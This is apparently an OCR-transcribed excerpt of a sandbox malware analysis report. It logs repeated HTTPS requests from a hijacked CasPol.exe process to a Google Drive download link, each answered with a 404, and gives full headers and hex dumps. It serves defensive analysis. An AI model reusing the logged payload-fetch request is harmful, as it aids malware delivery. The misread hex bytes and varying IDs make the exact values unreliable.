142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘nonce-kvhio62YU+bxHxO0zFt9DQ' ‘unsafe-inline' ‘strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:53 GMT

Expires: Wed, 24 Nov 2021 10:54:53 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:53 UTC 54

2021-11-24 10:54:53 UTC 54

2021-11-24 10:54:53 UTC 55

2021-11-24 10:54:53 UTC 55

Session ID Source IP

37 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:54 UTC 55

2021-11-24 10:54:54 UTC 56

2021-11-24 10:54:54 UTC 56

2021-11-24 10:54:54 UTC 57

Session ID Source IP
38 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49859

Direction

ouTt

Source Port

49860

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src 'nonce-/8erTzQ2VxfGdujlblyJzQ' 'unsafe-inline' 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:54:53 GMT

Expires: Wed, 24 Nov 2021 10:54:53 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_qgsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-MJ0OnyKAeulBOdgfPUXEZ3A' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:54 GMT

Expires: Wed, 24 Nov 2021 10:54:54 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:54 UTC 57

2021-11-24 10:54:54 UTC 57

2021-11-24 10:54:54 UTC 58

2021-11-24 10:54:54 UTC 58

Session ID Source IP

39 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:54 UTC 58

2021-11-24 10:54:55 UTC 59

2021-11-24 10:54:55 UTC 59

2021-11-24 10:54:55 UTC 60

Session ID Source IP
4 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49862

Direction

ouTt

Source Port

49826

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-4iOpMjEuvbYFailg+ISnDg' ‘'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:54:54 GMT

Expires: Wed, 24 Nov 2021 10:54:54 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-MAHOG8N2l09aF19sOxgK+w' 'unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:54 GMT

Expires: Wed, 24 Nov 2021 10:54:54 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:39 UTC 6

2021-11-24 10:54:39 UTC 6

2021-11-24 10:54:39 UTC 7

2021-11-24 10:54:39 UTC 7

Session ID Source IP

40 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:55 UTC 60

2021-11-24 10:54:55 UTC 60

2021-11-24 10:54:55 UTC 61

2021-11-24 10:54:55 UTC 61

Session ID Source IP
41 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49863

Direction

ouTt

Source Port

49864

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-PDNILd/u8PVof6YH83jJTA' 'unsafe-inline' 'strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:54:39 GMT

Expires: Wed, 24 Nov 2021 10:54:39 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘nonce-YXTWYmvdSDPgKxuwEZ8eug' ‘unsafe-inline' 'strict-dynamic’ https: http: ‘unsafe
-eval';object-src 'none’;base-uri ‘'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:55 GMT

Expires: Wed, 24 Nov 2021 10:54:55 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:55 UTC 61

2021-11-24 10:54:55 UTC 62

2021-11-24 10:54:55 UTC 62

2021-11-24 10:54:55 UTC 63

Session ID Source IP

42 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:56 UTC 63

2021-11-24 10:54:56 UTC 63

2021-11-24 10:54:56 UTC 64

2021-11-24 10:54:56 UTC 64

Session ID Source IP
43 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49865

Direction

ouTt

Source Port

49866

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-cUgPicqFEfFH5Z5eSKM9ow' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:54:55 GMT

Expires: Wed, 24 Nov 2021 10:54:55 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-7mJEuYVIwN7XRvggdsxYRA' ‘'unsafe-inline' ‘strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:56 GMT

Expires: Wed, 24 Nov 2021 10:54:56 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:56 UTC 64

2021-11-24 10:54:56 UTC 65

2021-11-24 10:54:56 UTC 65

2021-11-24 10:54:56 UTC 66

Session ID Source IP

44 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:57 UTC 66

2021-11-24 10:54:57 UTC 66

2021-11-24 10:54:57 UTC 67

2021-11-24 10:54:57 UTC 67

Session ID Source IP
45 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49867

Direction

ouTt

Source Port

49868

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-waFzuRXwq7YDgQ1lcpw6ZFg' 'unsafe-inline' 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

